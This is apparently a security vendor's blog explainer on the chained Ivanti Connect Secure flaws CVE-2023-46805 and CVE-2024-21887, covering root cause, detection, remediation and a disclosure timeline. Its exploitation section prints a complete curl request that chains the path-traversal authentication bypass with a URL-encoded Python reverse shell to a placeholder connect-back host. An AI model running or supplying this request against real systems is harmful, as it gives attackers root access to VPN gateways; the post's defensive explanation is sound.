CVE-2 — Understanding Its Impact, Detection

The Ivanti Connect Secure VPN appliance, formerly known as Pulse Connect Secure, faced critical vulnerabilities in late 2023 and early 2024. A Deep Dive into CVE-2023-46805 reveals a significant authentication bypass flaw in its web component. Threat actors exploited this zero-day vulnerability in the wild, often chaining it with other Ivanti CVEs, particularly CVE-2024-21887, to achieve unauthenticated remote code execution.

What the Vulnerability Is and Its Impact

CVE-2023-46805 is an authentication bypass vulnerability. It resides in the web component of Ivanti Connect Secure (ICS) and Ivanti Policy Secure gateways. This flaw enables a remote attacker to access restricted resources by bypassing control checks. The vulnerability carries a CVSS v3.1 base score of 8.2, rated as high severity.

Affected versions include all supported versions of Ivanti Connect Secure and Ivanti Policy Secure, specifically versions 9.x and 22.x. This vulnerability was actively exploited as a zero-day before its public disclosure. When combined with CVE-2024-21887, a command injection vulnerability, attackers could achieve unauthenticated remote code execution (RCE) with root privileges. This chain of exploitation allowed threat actors to establish persistent access, exfiltrate data, and deploy web shells.

Technical Root Cause Analysis

The root cause of CVE-2023-46805 lies in improper validation of authentication tokens within the application's web component. Specifically, it is a path traversal issue within the appliance's web interface. Attackers manipulate certain URI paths to access restricted endpoints normally protected by authentication. The authentication checks are enforced in a custom C++ web server, not in the Python-based Flask REST API application, indicating a separation of authentication and application logic. This architectural oversight allows an attacker to craft a request that bypasses the C++ server's authentication logic by traversing directories, then reaching sensitive API endpoints in the Flask application.

For instance, an attacker could prepend /api/v1/totp/user-backup-code/../../ to a protected URL like /license/keys-status/. This path manipulation effectively tricks the system into granting access to the /license/keys-status/ endpoint without requiring valid authentication. While CVE-2023-46805 itself does not grant code execution, it provides the necessary unauthenticated access to internal workings of the VPN gateway, setting the stage for further attacks like command injection.

Exploitation Mechanics

Exploitation of CVE-2023-46805 typically involves crafting a specially malformed HTTP GET request. The goal is to bypass the initial authentication checks by leveraging the path traversal vulnerability. Once authentication is bypassed, threat actors then chain this with CVE-2024-21887, a command injection vulnerability. CVE-2024-21887 allows an authenticated administrator to execute arbitrary commands. By chaining these two, an unauthenticated attacker gains administrative control and can execute commands on the system.

A common exploitation pattern involves the following steps:

1. An attacker sends a request to a public endpoint on the Ivanti Connect Secure appliance.
2. The request includes a path traversal sequence (e.g., /api/v1/totp/user-backup-code/../../) to bypass authentication for a normally protected endpoint.
3. The system, due to the vulnerability, processes the request as if it were authenticated.
4. The attacker then injects malicious commands into a subsequent request, exploiting CVE-2024-21887, which is now accessible without prior authentication.
5. This command injection can lead to the deployment of web shells (e.g., LIGHTWIRE, WIREFIRE), enabling persistent access and further compromise.

An example of a crafted request demonstrating the path traversal and subsequent command injection could appear as:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

This command targets the /license/keys-status/ endpoint, bypassing authentication, and then injects a URL-encoded Python reverse shell. This demonstrates the direct path to remote code execution when both vulnerabilities are chained. Threat actors, including state-sponsored groups, used this exploit chain extensively.

Detection: How to Check if You're Affected

Detecting compromise from CVE-2023-46805 and its associated chain requires multiple approaches. Organizations should first verify if they run affected versions of Ivanti Connect Secure or Policy Secure. All supported versions (9.x and 22.x) are vulnerable.

Ivanti provides an external Integrity Checker Tool (ICT) for customers to scan for signs of compromise. This tool helps identify modified files or unauthorized processes. It provides a decrypted snapshot of the appliance for analysis. However, threat actors have attempted to manipulate both internal and external ICTs. CISA identified instances where Ivanti's internal and previous external ICT failed to detect compromise. Therefore, administrators should use the latest version of the external ICT and assume compromise if any anomalies are found.

Network traffic analysis tools are crucial for monitoring and flagging unauthorized access attempts. Look for unusual log entries related to authentication and suspiciously malformed tokens. Indicators of Compromise (IOCs) include unexpected access to restricted endpoints from unauthenticated IP addresses in device web logs. Security Information and Event Management (SIEM) solutions can monitor for outbound connections from the VPN appliance to suspicious domains or the creation of web shells. Wiped logs or disabled logging features are strong indicators of compromise.

Secably offers tools to help identify exposed Ivanti instances. You can use our free website vulnerability scanner or free port scanner to identify internet-facing Ivanti Connect Secure gateways. This reconnaissance step helps determine your exposure. Zondex also provides internet-wide scanning capabilities which can help identify exposed services. After initial discovery, employ deeper forensic analysis if compromise is suspected.

Remediation Steps

Immediate patching is the top priority for CVE-2023-46805 and related vulnerabilities. Ivanti has released security patches for all affected versions. Apply these updates as soon as possible.

Before patching, run the Ivanti Integrity Checker Tool (ICT) to check for compromise. If the tool indicates compromise, treat the situation as an incident response event. Ivanti recommends a comprehensive recovery process if exploitation is suspected.

The recommended remediation steps, particularly if exploitation has occurred, include:

1. Backup the appliance configuration.
2. Perform a factory reset of the appliance.
3. Upgrade the appliance to the latest patched version.
4. Restore the appliance configuration from a known-good backup.
5. Revoke and reissue any stored certificates that were on the impacted appliance(s), including client, server, code signing, and SSL certificates.
6. Reset the admin enable password, API keys, and passwords of any local users.
7. Reset license server credentials.

Ivanti also provided an XML file import as a temporary workaround before patches were widely available. This mitigation blocked the exploitation of the vulnerabilities. However, this is not a substitute for applying full patches. Implement additional access controls like multi-factor authentication (MFA). Review and terminate any suspicious active sessions. Consider enforcing strict firewall rules to limit external access to affected components until patches are applied. For further reading on managing CVEs, refer to our blog post CVE- Explained — What It Is, How to Spot.

Timeline of Disclosure

The timeline surrounding the Deep Dive into CVE-2023-46805 and related Ivanti vulnerabilities highlights a rapid response to active exploitation.

• December 3, 2023: Zero-day exploitation of CVE-2023-46805 and CVE-2024-21887 was first observed in the wild by Volexity, leading to unauthenticated RCE.
• January 10, 2024: Ivanti publicly disclosed CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection) via a security advisory. Volexity also published a blog post with IOCs.
• January 11, 2024: Broader exploitation began, likely related to pre-notification exploitation. Both CVEs were added to CISA's Known Exploited Vulnerabilities (KEV) catalog.
• January 16, 2024: Public Proof-of-Concept (PoC) code for the exploit chain became available.
• January 31, 2024: Ivanti disclosed two additional critical vulnerabilities: CVE-2024-21888 (privilege escalation) and CVE-2024-21893 (server-side request forgery). Ivanti released the first set of patches for several affected versions.
• February 2, 2024: CISA issued a supplemental directive requiring all U.S. federal agencies to disconnect Ivanti Connect Secure and Policy Secure products from agency networks.
• February 8, 2024: Ivanti announced a fifth vulnerability, CVE-2024-22024 (authentication bypass/XXE), and released additional patches.
• February 29, 2024: CISA, in collaboration with international partners, published a Joint Cybersecurity Advisory. This advisory stated that threat actors could deceive Ivanti's Integrity Checker Tools and maintain root-level persistence despite factory resets.
• April 3, 2024: An updated external Integrity Checker Tool was released.